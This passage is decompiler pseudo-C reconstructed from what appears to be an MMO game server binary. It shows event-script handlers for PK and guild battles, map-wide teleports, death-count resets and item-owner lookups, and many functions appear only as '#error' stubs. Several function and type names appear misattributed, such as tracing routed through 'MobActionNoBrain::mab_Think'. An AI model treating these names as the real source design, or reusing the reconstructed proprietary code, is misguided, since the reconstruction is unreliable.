FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v19); __security_check_cookie(v23); return result; } //----- (004B82A0) -------------------------------------------------------- #error "4B82A0: undefined or illegal type '#325' (funcsize=262)" //----- (004B8640) -------------------------------------------------------- #error "4B8640: undefined or illegal type '#325' (funcsize=327)" //----- (004B8AB0) -------------------------------------------------------- #error "4B8AB0: undefined or illegal type '#325' (funcsize=125)" //----- (004B8C90) -------------------------------------------------------- #error "4B8C90: undefined or illegal type '#325' (funcsize=84)" //----- (004B8E00) -------------------------------------------------------- #error "4B8E00: undefined or illegal type '#325' (funcsize=122)" //----- (004B8FE0) -------------------------------------------------------- #error "4B8FE0: undefined or illegal type '#325' (funcsize=122)" //----- (004B91C0) -------------------------------------------------------- #error "4B91C0: undefined or illegal type '#325' (funcsize=84)" //----- (004B9330) -------------------------------------------------------- #error "4B9330: undefined or illegal type '#325' (funcsize=67)" //----- (004B9440) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineDeathCountClear::sa_Step(PineEventScriptNode::ShineDeathCountClear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { MobTacticElement::MobActionBase *v4; // eax@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 unsigned __int16 v8; // ax@1 unsigned __int16 v9; // si@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineDeathCountClear::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineDeathCountClear::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v5 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v4, (MobTacticElement::MobActionArgument *)exechandle); v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v5, &stru_5A8D60); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, "ShineDeathCountClear"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &trc_eol); MobDeadCount::mdc_Clear((MobDeadCount *)(*(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77280) + 72)); v8 = PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v9 = v8; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineDeathCountClear::sa_Step"); return v9; } //----- (004B9530) -------------------------------------------------------- #error "4B9530: undefined or illegal type '#325' (funcsize=154)" //----- (004B9780) -------------------------------------------------------- #error "4B9780: undefined or illegal type '#325' (funcsize=136)" //----- (004B99A0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineBattleStart::sa_Step(PineEventScriptNode::ShineBattleStart *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineBattleStart *v4; // edi@1 signed int v5; // ebp@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@1 PineScriptToken *v10; // eax@1 PineScriptToken *v11; // eax@1 void *v12; // ecx@2 int v13; // ebp@11 int v14; // edi@13 char *v15; // eax@13 Movie::Theater *v16; // ecx@13 int v17; // eax@17 char *v18; // ecx@17 Movie::Theater *v19; // ecx@17 const char *v20; // eax@18 unsigned __int16 result; // ax@20 AxialListPacketBroadcast alchat; // [sp+14h] [bp-12Ch]@2 FunctionEntarance _; // [sp+20h] [bp-120h]@1 AxialListPacketBroadcast thisa; // [sp+24h] [bp-11Ch]@17 PineScriptToken tkn; // [sp+30h] [bp-110h]@1 unsigned int v26; // [sp+130h] [bp-10h]@20 int v27; // [sp+13Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineBattleStart::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineBattleStart::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineBattleStart::sa_Step"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v27 = 0; v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_5A8D60); v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineBattleStart"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); PineScriptToken::pst_Clear(&tkn); LOBYTE(v27) = 1; v10 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v11 = PineScriptToken::pst_ToLower(v10); if ( PineScriptToken::operator__(v11, index_pk.pst_Buffer) ) { Movie::Theater::t_MapPKFlag(*(Movie::Theater **)&ps->gap10114[4], 1); AxialListProtocolSend::AxialListProtocolSend((AxialListProtocolSend *)&alchat, 6, 18); v12 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v27) = 2; if ( v12 != 0 ) { ShineObjectClass::ShineObject::so_AllInMap(v12, (int)&alchat, 0); LOBYTE(v27) = 1; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alchat); } else { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v27) = 1; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alchat); } goto LABEL_19; } if ( !PineScriptToken::operator__(&tkn, index_guild.pst_Buffer) ) { if ( PineScriptToken::operator__(&tkn, index_GuildTournamentStart.pst_Buffer) ) { if ( (int)v4->baseclass_0.os_Express[0]->baseclass_0.vfptr->sa_Calculate( (PineEventScriptNode::ScriptAtom *)v4->baseclass_0.os_Express[0], &tkn, ps) != 0 ) { v17 = PineScriptToken::pst_GetNumber(&tkn, 0); v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29920; *(_DWORD *)(v18 + 2) = v17; AxialListPacketBroadcast::AxialListPacketBroadcast(&thisa, &gpp, 6); v19 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v27) = 4; Movie::Theater::t_AllInMap(v19, &thisa.baseclass_0); LOBYTE(v27) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&thisa); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineBattleStart::sa_Step : no Time", 0); } } else { MoveManager::MoveManager((DiceTaiSai *)&tkn); ps_assert(0, "PineEventScriptNode::ShineBattleStart::sa_Step : invalid flag", v20); } goto LABEL_19; } if ( !v4->baseclass_0.os_Express[0] || !v4->baseclass_0.os_Express[1] ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineBattleStart::sa_Step : Argument error", 0); LABEL_19: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v27) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v27 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineBattleStart::sa_Step"); goto LABEL_20; } if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[0]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineBattleStart::sa_Step : no Player", 0); goto LABEL_19; } v13 = PineScriptToken::pst_GetNumber(&tkn, 0); if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps) != 0 ) { v14 = PineScriptToken::pst_GetNumber(&tkn, 0); Movie::Theater::t_MapGuildBattle(*(Movie::Theater **)&ps->gap10114[4], v13, v14); v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29827; *(_DWORD *)(v15 + 2) = v13; *(_DWORD *)(v15 + 6) = v14; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 16); v16 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v27) = 3; Movie::Theater::t_AllInMap(v16, &alchat.baseclass_0); LOBYTE(v27) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v5 = -1; goto LABEL_19; } AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineBattleStart::sa_Step : no Player", 1); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v27) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v27 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_20: __security_check_cookie(v26); return result; } //----- (004B9D50) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineBattleStop::sa_Step(PineEventScriptNode::ShineBattleStop *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineBattleStop *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineScriptToken *v9; // eax@1 PineScriptToken *v10; // eax@1 void *v11; // ecx@2 int v12; // eax@6 const char *v13; // eax@11 unsigned __int16 result; // ax@12 int v15; // [sp-Ch] [bp-134h]@3 int v16; // [sp-8h] [bp-130h]@2 AxialListProtocolSend alps; // [sp+8h] [bp-120h]@2 FunctionEntarance _; // [sp+14h] [bp-114h]@1 PineScriptToken tkn; // [sp+18h] [bp-110h]@1 unsigned int v20; // [sp+118h] [bp-10h]@12 int v21; // [sp+124h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = (char *)&stru_5C19C4.maa_TargetSelect.targetlist.baseclass_0.l_Array; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5C19C4.maa_TargetSelect.targetlist.baseclass_0.l_Array); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5C19C4.maa_TargetSelect.targetlist.baseclass_0.l_Array; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_5C19C4); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); PineScriptToken::pst_Clear(&tkn); LOBYTE(v21) = 1; v9 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v10 = PineScriptToken::pst_ToLower(v9); if ( !PineScriptToken::operator__(v10, index_pk.pst_Buffer) ) { if ( !PineScriptToken::operator__(&tkn, index_guild.pst_Buffer) ) { MoveManager::MoveManager((DiceTaiSai *)&tkn); ps_assert(0, "PineEventScriptNode::ShineBattleStop::sa_Step : invalid flag", v13); goto LABEL_12; } v12 = *(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v12 ) { *(_DWORD *)(v12 + 156) = 0; *(_DWORD *)(v12 + 160) = 0; } AxialListProtocolSend::AxialListProtocolSend(&alps, 29, 132); v11 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v21) = 3; v16 = 0; if ( v11 != 0 ) { v15 = (int)&alps; goto LABEL_4; } LABEL_9: AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", v16); LOBYTE(v21) = 1; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alps); goto LABEL_12; } Movie::Theater::t_MapPKFlag(*(Movie::Theater **)&ps->gap10114[4], 0); AxialListProtocolSend::AxialListProtocolSend(&alps, 6, 19); v11 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v21) = 2; v16 = 0; if ( !(v11 != 0) ) goto LABEL_9; v15 = (int)&alps; LABEL_4: ShineObjectClass::ShineObject::so_AllInMap(v11, v15, v16); LOBYTE(v21) = 1; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alps); LABEL_12: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v21) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5C19C4.maa_TargetSelect.targetlist.baseclass_0.l_Array); __security_check_cookie(v20); return result; } //----- (004B9FB0) -------------------------------------------------------- #error "4B9FB0: undefined or illegal type '#325' (funcsize=98)" //----- (004BA120) -------------------------------------------------------- #error "4BA120: undefined or illegal type '#325' (funcsize=104)" //----- (004BA2B0) -------------------------------------------------------- #error "4BA2B0: undefined or illegal type '#325' (funcsize=104)" //----- (004BA440) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineSubLayerShift::sa_Step(PineEventScriptNode::ShineSubLayerShift *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineSubLayerShift *v4; // edi@1 PineScriptToken *v5; // eax@1 PineScriptToken *v6; // eax@1 unsigned __int16 v7; // ax@3 char v8; // al@6 unsigned __int16 result; // ax@7 int v10; // [sp+10h] [bp-120h]@3 bool logout; // [sp+14h] [bp-11Ch]@1 PineScriptToken tkn; // [sp+20h] [bp-110h]@1 unsigned int v13; // [sp+120h] [bp-10h]@7 int v14; // [sp+12Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5C19C4.maa_TargetSelect.aggresive2); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5C19C4.maa_TargetSelect.aggresive2; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; PineScriptToken::pst_Clear(&tkn); LOBYTE(v14) = 1; v5 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v6 = PineScriptToken::pst_ToLower(v5); logout = PineScriptToken::operator__(v6, index_logout.pst_Buffer) != 0; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[0]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps) != 0 ) { v7 = PineScriptToken::pst_GetNumber(&tkn, 0); v10 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v7); if ( v10 ) { if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps) != 0 ) { v8 = PineScriptToken::pst_GetNumber(&tkn, 0); ShineObjectClass::ShineObject::so_SubLayerShift(v10, v8, logout); } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5C19C4.maa_TargetSelect.targetlist.mam_Array[7].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, 0); } } } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5C19C4.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_SightRange, 0); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v14) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5C19C4.maa_TargetSelect.aggresive2); __security_check_cookie(v13); return result; } //----- (004BA5E0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineTeleportAll::sa_Step(PineEventScriptNode::ShineTeleportAll *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineTeleportAll *v4; // edi@1 PineScriptToken *v5; // eax@1 PineScriptToken *v6; // eax@1 PineScriptToken *v7; // eax@2 PineScriptToken *v8; // eax@2 int v9; // eax@3 AxialListIteratorVtbl *v10; // edi@5 void *v11; // ecx@5 int v12; // eax@8 int v13; // eax@9 PineEventScriptNode::Express *v14; // ecx@9 int v15; // eax@9 int v16; // eax@10 PineEventScriptNode::Express *v17; // ecx@10 int v18; // eax@10 int v19; // eax@13 PineEventScriptNode::Express *v20; // ecx@13 int v21; // eax@13 Movie::Theater *v22; // ecx@14 Movie::Theater *v23; // ecx@14 AxialListMobKillLog *v24; // ecx@14 int v25; // eax@15 PineEventScriptNode::Express *v26; // ecx@15 int v27; // eax@15 Movie::Theater *v28; // ecx@17 unsigned __int16 result; // ax@21 int v30; // [sp-4h] [bp-168h]@3 int v31; // [sp-4h] [bp-168h]@9 AxialListTeleport allt; // [sp+10h] [bp-154h]@5 int v33; // [sp+18h] [bp-14Ch]@3 FunctionEntarance _; // [sp+1Ch] [bp-148h]@1 AxialListCount2 allc; // [sp+20h] [bp-144h]@14 SHINE_XY_TYPE Position2; // [sp+28h] [bp-13Ch]@13 int v37; // [sp+30h] [bp-134h]@15 int v38; // [sp+34h] [bp-130h]@17 SHINE_XY_TYPE Position; // [sp+38h] [bp-12Ch]@9 AxialListTeleportSplit thisa; // [sp+40h] [bp-124h]@14 PineScriptToken tkn; // [sp+54h] [bp-110h]@1 unsigned int v42; // [sp+154h] [bp-10h]@21 int v43; // [sp+160h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = (char *)&stru_5C19C4.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5C19C4.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5C19C4.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v43 = 0; PineScriptToken::pst_Clear(&tkn); LOBYTE(v43) = 1; v5 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v6 = PineScriptToken::pst_ToLower(v5); if ( PineScriptToken::operator__(v6, index_anywhere.pst_Buffer) ) { AxialListIterator::AxialListIterator(&allt.baseclass_0); v10 = (AxialListIteratorVtbl *)AxialListTeleportAnywhere::_vftable_; allt.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleportAnywhere::_vftable_; v11 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v43) = 2; if ( v11 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v11, (int)&allt, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LABEL_18: v24 = (AxialListMobKillLog *)&allt; allt.baseclass_0.vfptr = v10; goto LABEL_19; } v7 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v8 = PineScriptToken::pst_ToLower(v7); if ( !PineScriptToken::operator__(v8, index_split.pst_Buffer) ) { v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[0]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v33 = v9 != 0; v30 = 0; if ( v9 == 0 ) { LABEL_4: AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5C19C4.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, v30); LABEL_20: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v43) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v43 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5C19C4.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); goto LABEL_21; } v25 = PineScriptToken::pst_GetNumber(&tkn, 0); v26 = v4->baseclass_0.os_Express[1]; v37 = v25; v27 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v26->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v33 = v27 != 0; v31 = 0; if ( v27 == 0 ) { LABEL_16: AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5C19C4.maa_TargetSelect.aggresive2.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, v31); goto LABEL_20; } v38 = PineScriptToken::pst_GetNumber(&tkn, 0); AxialListIterator::AxialListIterator(&allt.baseclass_0); v10 = (AxialListIteratorVtbl *)AxialListTeleport::_vftable_; allt.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleport::_vftable_; allt.allt_position = (SHINE_XY_TYPE *)&v37; v28 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v43) = 5; Movie::Theater::t_AllInMap(v28, &allt.baseclass_0); goto LABEL_18; } v12 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[0]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v33 = v12 != 0; v30 = 0; if ( !(v12 != 0) ) goto LABEL_4; v13 = PineScriptToken::pst_GetNumber(&tkn, 0); v14 = v4->baseclass_0.os_Express[1]; Position.x = v13; v15 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v14->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v33 = v15 != 0; v31 = 0; if ( !(v15 != 0) ) goto LABEL_16; v16 = PineScriptToken::pst_GetNumber(&tkn, 0); v17 = v4->baseclass_0.os_Express[2]; Position.y = v16; v18 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v17->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v33 = v18 != 0; if ( v18 != 0 ) { v19 = PineScriptToken::pst_GetNumber(&tkn, 0); v20 = v4->baseclass_0.os_Express[3]; Position2.x = v19; v21 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v20->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); if ( !AssertClass::operator__( &shineassert, v21 != 0, (const char *)&stru_5C19C4.maa_TargetSelect.aggresive2.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, 0) ) { Position2.y = PineScriptToken::pst_GetNumber(&tkn, 0); AxialListCount2::AxialListCount2(&allc); v22 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v43) = 3; Movie::Theater::t_AllInMap(v22, &allc.baseclass_0); AxialListTeleportSplit::AxialListTeleportSplit(&thisa, allc.alc_Cnt, &Position, &Position2); v23 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v43) = 4; Movie::Theater::t_AllInMap(v23, &thisa.baseclass_0); LOBYTE(v43) = 3; thisa.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleportSplit::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&thisa); allc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListCount2::_vftable_; v24 = (AxialListMobKillLog *)&allc; LABEL_19: LOBYTE(v43) = 1; AxialListWall::_AxialListWall(v24); goto LABEL_20; } } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5C19C4.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, 0); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v43) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v43 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_21: __security_check_cookie(v42); return result; } // 5BF7D4: using guessed type int (__stdcall *AxialListTeleport___vftable_[6])(int, int, int distancesquar); // 5BF7D8: using guessed type int (__stdcall *AxialListTeleportAnywhere___vftable_[5])(int, int, int distancesquar); // 5BF7DC: using guessed type int (__stdcall *AxialListCount2___vftable_[4])(int, int, int distancesquar); // 5BF7E0: using guessed type int (__stdcall *AxialListTeleportSplit___vftable_[3])(int, int, int distancesquar); //----- (004BA9B0) -------------------------------------------------------- #error "4BA9B0: undefined or illegal type '#325' (funcsize=146)" //----- (004BABD0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineItemOwner::sa_Step(PineEventScriptNode::ShineItemOwner *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineItemOwner *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // edx@1 const char *v6; // eax@3 unsigned int v7; // eax@3 PineEventScriptNode::ScriptAtomVtbl *v8; // edx@7 PineScriptToken *v9; // eax@9 Movie::Theater *v10; // ecx@12 unsigned __int16 result; // ax@14 const char *v12; // [sp-8h] [bp-248h]@8 int v13; // [sp-4h] [bp-244h]@8 unsigned __int16 itmid; // [sp+10h] [bp-230h]@5 AxialListFindItemOwner alfio; // [sp+1Ch] [bp-224h]@12 PineScriptToken itemindex; // [sp+30h] [bp-210h]@1 PineScriptToken delimiter; // [sp+130h] [bp-110h]@7 unsigned int v18; // [sp+230h] [bp-10h]@14 int v19; // [sp+23Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineItemOwner::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineItemOwner::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; PineScriptToken::pst_Clear(&itemindex); v5 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v19) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)(&itemindex, ps) != 0 ) { MoveManager::MoveManager((DiceTaiSai *)&itemindex); v7 = BTree::operator__(&stru_125739F0, v6); if ( v7 == -1 ) LOWORD(v7) = -1; itmid = v7; if ( (unsigned __int16)v7 == -1 ) { MoveManager::MoveManager((DiceTaiSai *)&itemindex); PineScriptStack::ProcessStack::ps_Pop(ps); goto LABEL_14; } PineScriptToken::pst_Clear(&delimiter); v8 = v4->baseclass_0.os_Express[1]->baseclass_0.vfptr; LOBYTE(v19) = 2; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&delimiter, ps) != 0 ) { v9 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); if ( v9 != 0 ) { AxialListFindItemOwner::AxialListFindItemOwner(&alfio, itmid, &delimiter, v9); v10 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v19) = 3; Movie::Theater::t_AllInMap(v10, &alfio.baseclass_0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v19) = 2; alfio.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListFindItemOwner::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alfio); goto LABEL_13; } v13 = 0; v12 = (const char *)&stru_5C19C4.maa_MobActionStruct.chase.baseclass_0.mant_Target; } else { v13 = 0; v12 = (const char *)&stru_5C19C4.maa_MobActionStruct.turning.mat_NextAction; } AssertClass::ac_AssertFail(&shineassert, v12, v13); PineScriptStack::ProcessStack::ps_Pop(ps); LABEL_13: LOBYTE(v19) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&delimiter); goto LABEL_14; } AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineItemOwner::sa_Step : no item", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LABEL_14: LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&itemindex); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineItemOwner::sa_Step"); __security_check_cookie(v18); return result; } // 5BF7E4: using guessed type int (__stdcall *AxialListFindItemOwner___vftable_[2])(int, int, int distancesquar); //----- (004BADF0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineChatWindow::sa_Step(PineEventScriptNode::ShineChatWindow *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineChatWindow *v4; // ebp@1 signed int v5; // 